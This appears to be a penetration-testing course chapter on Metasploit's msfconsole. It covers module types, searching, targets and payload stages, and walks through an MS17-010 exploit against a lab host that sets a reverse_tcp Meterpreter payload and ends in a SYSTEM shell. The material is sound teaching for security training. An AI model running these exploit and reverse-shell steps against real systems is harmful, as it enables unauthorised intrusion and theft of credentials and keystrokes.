Metasploit modules are prepared scripts with a specific purpose and corresponding functions that have already been developed and tested in the wild. The exploit category consists of so-called proof-of-concept (POCs) that can be used to exploit existing vulnerabilities in a largely automated manner. Many people often think that the failure of the exploit disproves the existence of the suspected vulnerability. However, this is only proof that the Metasploit exploit does not work and not that the vulnerability does not exist. This is because many exploits require customization according to the target hosts to make the exploit work. Therefore, automated tools such as the Metasploit framework should only be considered a support tool and not a substitute for our manual skills.
Once we are in the msfconsole, we can select from an extensive list containing all the available Metasploit modules. Each of them is structured into folders, which will look like this:
Syntax
Modules
<No.> <type>/<os>/<service>/<name>
Example
Modules
794 exploit/windows/ftp/scriptftp_list
Index No.
The No. tag will be displayed to select the exploit we want afterward during our searches. We will see how helpful the No. tag can be to select specific Metasploit modules later.
Type
The Type tag is the first level of segregation between the Metasploit modules. Looking at this field, we can tell what the piece of code for this module will accomplish. Some of these types are not directly usable as an exploit module would be, for example. However, they are set to introduce the structure alongside the interactable ones for better modularization. To explain better, here are the possible types that could appear in this field:
Type
Description
Auxiliary
Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Encoders
Ensure that payloads are intact to their destination.
Exploits
Defined as modules that exploit a vulnerability that will allow for the payload delivery.
NOPs
(No Operation code) Keep the payload sizes consistent across exploit attempts.
Payloads
Code runs remotely and calls back to the attacker machine to establish a connection (or shell).
Plugins
Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post
Wide array of modules to gather information, pivot deeper, etc.
Note that when selecting a module to use for payload delivery, the use <no.> command can only be used with the following modules that can be used as initiators (or interactable modules):
Type
Description
Auxiliary
Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Exploits
Defined as modules that exploit a vulnerability that will allow for the payload delivery.
Post
Wide array of modules to gather information, pivot deeper, etc.
OS
The OS tag specifies which operating system and architecture the module was created for. Naturally, different operating systems require different code to be run to get the desired results.
Service
The Service tag refers to the vulnerable service that is running on the target machine. For some modules, such as the auxiliary or post ones, this tag can refer to a more general activity such as gather, referring to the gathering of credentials, for example.
Name
Finally, the Name tag explains the actual action that can be performed using this module created for a specific purpose.
Searching for Modules
Metasploit also offers a well-developed search function for the existing modules. With the help of this function, we can quickly search through all the modules using specific tags to find a suitable one for our target.
MSF - Search Function
Modules
msf6 > help search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Regex pattern used to filter search results
-u Use module if there is one result
-s <search_column> Sort the research results based on <search_column> in ascending order
-r Reverse the search results order to descending order
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
Supported search columns:
rank : Sort modules by their exploitabilty rank
date : Sort modules by their disclosure date. Alias for disclosure_date
disclosure_date : Sort modules by their disclosure date
name : Sort modules by their name
type : Sort modules by their type
check : Sort modules by whether or not they have a check method
Examples:
search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -r
For example, we can try to find the EternalRomance exploit for older Windows operating systems. This could look something like this:
MSF - Searching for EternalRomance
Modules
msf6 > search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
msf6 > search eternalromance type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
We can also make our search a bit more coarse and reduce it to one category of services. For example, for the CVE, we could specify the year (cve:<year>), the platform Windows (platform:<os>), the type of module we want to find (type:<auxiliary/exploit/post>), the reliability rank (rank:<rank>), and the search name (<pattern>). This would reduce our results to only those that match all of the above.
MSF - Specific Search
Modules
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/exchange_proxylogon_rce 2021-03-02 excellent Yes Microsoft Exchange ProxyLogon RCE
1 exploit/windows/http/exchange_proxyshell_rce 2021-04-06 excellent Yes Microsoft Exchange ProxyShell RCE
2 exploit/windows/http/sharepoint_unsafe_control 2021-05-11 excellent Yes Microsoft SharePoint Unsafe Control and ViewState RCE
Module Selection
To select our first module, we first need to find one. Let's suppose that we have a target running a version of SMB vulnerable to EternalRomance (MS17_010) exploits. We have found that SMB server port 445 is open upon scanning the target.
Modules
$ nmap -sV 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds
We would boot up msfconsole and search for this exact exploit name.
MSF - Search for MS17_010
Modules
msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Next, we want to select the appropriate module for this scenario. From the Nmap scan, we have detected the SMB service running on version Microsoft Windows 7 - 10. With some additional OS scanning, we can guess that this is a Windows 7 running a vulnerable instance of SMB. We then proceed to select the module with the index no. 2 to test if the target is vulnerable.
Using Modules
Within the interactive modules, there are several options that we can specify. These are used to adapt the Metasploit module to the given environment. Because in most cases, we always need to scan or attack different IP addresses. Therefore, we require this kind of functionality to allow us to set our targets and fine-tune them. To check which options are needed to be set before the exploit can be sent to the target host, we can use the show options command. Everything required to be set before the exploitation can occur will have a Yes under the Required column.
MSF - Select Module
Modules
<SNIP>
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Here we see how helpful the No. tags can be. Because now, we do not have to type the whole path but only the number assigned to the Metasploit module in our search. We can use the command info after selecting the module if we want to know something more about the module. This will give us a series of information that can be important for us.
MSF - Module Information
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > info
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group
Available targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a nor
mal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload information:
Space: 3072
Description:
This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where primitive. This will then be used to
overwrite the connection session information with as an
Administrator session. From there, the normal psexec payload code
execution is done. Exploits a type confusion between Transaction and
WriteAndX requests and a race condition in Transaction requests, as
seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a named pipe.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://github.com/worawit/MS17-010
https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/
Also known as:
ETERNALSYNERGY
ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUE
After we are satisfied that the selected module is the right one for our purpose, we need to set some specifications to customize the module to use it successfully against our target host, such as setting the target (RHOST or RHOSTS).
MSF - Target Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
In addition, there is the option setg, which specifies options selected by us as permanent until the program is restarted. Therefore, if we are working on a particular target host, we can use this command to set the IP address once and not change it again until we change our focus to a different IP address.
MSF - Permanent Target Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Finally, since we are about to use a TCP-based reverse shell (/windows/meterpreter/reverse_tcp) we need to specify to which IP address it needs to connect to in order to establish a connection. Therefore, we need to set LHOST to our own IP address like following:
MSF - LHOST Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > setg LHOST 10.10.14.15
LHOSTS => 10.10.14.15
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Once everything is set and ready to go, we can proceed to launch the attack. Note that the payload was not set here, as the default one is sufficient for this demonstration.
MSF - Exploit Execution
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter> shell
C:\Windows\system32>
We now have a shell on the target machine, and we can interact with it.
MSF - Target Interaction
Modules
C:\Windows\system32> whoami
whoami
nt authority\system
This has been a quick and dirty example of how msfconsole can help out quickly but serves as an excellent example of how the framework works. Only one module was needed without any payload selection, encoding or pivoting between sessions or jobs.
Targets
Targets are unique operating system identifiers taken from the versions of those specific operating systems which adapt the selected exploit module to run on that particular version of the operating system. The show targets command issued within an exploit module view will display all available vulnerable targets for that specific exploit, while issuing the same command in the root menu, outside of any selected exploit module, will let us know that we need to select an exploit module first.
MSF - Show Targets
Targets
msf6 > show targets
[-] No exploit module selected.
When looking at our previous exploit module, this would be what we see:
Targets
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Selecting a Target
We can see that there is only one general type of target set for this type of exploit. What if we change the exploit module to something that needs more specific target ranges? The following exploit is aimed at:
MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability.
If we want to find out more about this specific module and what the vulnerability behind it does, we can use the info command. This command can help us out whenever we are unsure about the origins or functionality of different exploits or auxiliary modules. Keeping in mind that it is always considered best practice to audit our code for any artifact generation or 'additional features', the info command should be one of the first steps we take when using a new module. This way, we can familiarize ourselves with the exploit functionality while assuring a safe, clean working environment for both our clients and us.
MSF - Target Selection
Targets
msf6 exploit(windows/browser/ie_execcommand_uaf) > info
Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
Module: exploit/windows/browser/ie_execcommand_uaf
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2012-09-14
Provided by:
unknown
eromang
binjo
sinn3r <sinn3r@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>
Available targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a vulnerability found in Microsoft Internet
Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object
gets deleted in an unexpected manner, but the same memory is reused
again later in the CMshtmlEd::Exec() function, leading to a
use-after-free condition. Please note that this vulnerability has
been exploited since Sep 14, 2012. Also, note that
presently, this module has some target dependencies for the ROP
chain to be valid. For WinXP SP3 with IE8, msvcrt must be present
(as it is by default). For Vista or Win7 with IE8, or Win7 with IE9,
JRE 1.6.x or below must be installed (which is often the case).
References:
https://cvedetails.com/cve/CVE-2012-4969/
OSVDB (85532)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/MS12-063
http://technet.microsoft.com/en-us/security/advisory/2757760
http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
Looking at the description, we can get a general idea of what this exploit will accomplish for us. Keeping this in mind, we would next want to check which versions are vulnerable to this exploit.
Targets
msf6 exploit(windows/browser/ie_execcommand_uaf) > options
Module options (exploit/windows/browser/ie_execcommand_uaf):
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7
We see options for both different versions of Internet Explorer and various Windows versions. Leaving the selection to Automatic will let msfconsole know that it needs to perform service detection on the given target before launching a successful attack.
If we, however, know what versions are running on our target, we can use the set target <index no.> command to pick a target from the list.
Targets
msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6
target => 6
Target Types
There is a large variety of target types. Every target can vary from another by service pack, OS version, and even language version. It all depends on the return address and other parameters in the target or within the exploit module.
To identify a target correctly, we will need to:
Obtain a copy of the target binaries
Use msfpescan to locate a suitable return address
Later in the module, we will be delving deeper into exploit development, payload generation, and target identification.
Payloads
A Payload in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker. The payloads are sent together with the exploit itself to bypass standard functioning procedures of the vulnerable service (exploits job) and then run on the target OS to typically return a reverse connection to the attacker and establish a foothold (payload's job).
There are three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. Using three typologies of payload interaction will prove beneficial to the pentester. It can offer the flexibility we need to perform certain types of tasks. Whether or not a payload is staged is represented by / in the payload name.
For example, windows/shell_bind_tcp is a single payload with no stage, whereas windows/shell/bind_tcp consists of a stager (bind_tcp) and a stage (shell).
Singles
A Single payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. However, some exploits will not support the resulting size of these payloads as they can get quite large. Singles are self-contained payloads. They are the sole object sent and executed on the target system, getting us a result immediately after running. A Single payload can be as simple as adding a user to the target system or booting up a process.
Stagers
Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host. Stagers are typically used to set up a network connection between the attacker and victim and are designed to be small and reliable. Metasploit will use the best one and fall back to a less-preferred one when necessary.
Windows NX vs. NO-NX Stagers
Reliability issue for NX CPUs and DEP
NX stagers are bigger (VirtualAlloc memory)
Default is now NX + Win7 compatible
Stages
Stages are payload components that are downloaded by stager's modules. The various payload Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others. Payload stages automatically use middle stagers:
A single recv() fails with large payloads
The Stager receives the middle stager
The middle Stager then performs a full download
Also better for RWX
Staged Payloads
A staged payload is, simply put, an exploitation process that is modularized and functionally separated to help segregate the different functions it accomplishes into different code blocks, each completing its objective individually but working on chaining the attack together. This will ultimately grant an attacker remote access to the target machine if all the stages work correctly.
The scope of this payload, as with any others, besides granting shell access to the target system, is to be as compact and inconspicuous as possible to aid with the Antivirus (AV) / Intrusion Prevention System (IPS) evasion as much as possible.
Stage0 of a staged payload represents the initial shellcode sent over the network to the target machine's vulnerable service, which has the sole purpose of initializing a connection back to the attacker machine. This is what is known as a reverse connection. As a Metasploit user, we will meet these under the common names reverse_tcp, reverse_https, and bind_tcp. For example, under the show payloads command, you can look for the payloads that look like the following:
MSF - Staged Payloads
Payloads
msf6 > show payloads
<SNIP>
535 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
536 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
537 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
538 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
539 windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
540 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
541 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
542 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
543 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
544 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
545 windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
546 windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
547 windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
548 windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
<SNIP>
Reverse connections are less likely to trigger prevention systems like the one initializing the connection is the victim host, which most of the time resides in what is known as a security trust zone. However, of course, this trust policy is not blindly followed by the security devices and personnel of a network, so the attacker must tread carefully even with this step.
Stage0 code also aims to read a larger, subsequent payload into memory once it arrives. After the stable communication channel is established between the attacker and the victim, the attacker machine will most likely send an even bigger payload stage which should grant them shell access. This larger payload would be the Stage1 payload. We will go into more detail in the later sections.
Meterpreter Payload
The Meterpreter payload is a specific type of multi-faceted payload that uses DLL injection to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes. Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. In addition, scripts and plugins can be loaded and unloaded dynamically as required.
Once the Meterpreter payload is executed, a new session is created, which spawns up the Meterpreter interface. It is very similar to the msfconsole interface, but all available commands are aimed at the target system, which the payload has "infected." It offers us a plethora of useful commands, varying from keystroke capture, password hash collection, microphone tapping, and screenshotting to impersonating process security tokens. We will delve into more detail about Meterpreter in a later section.
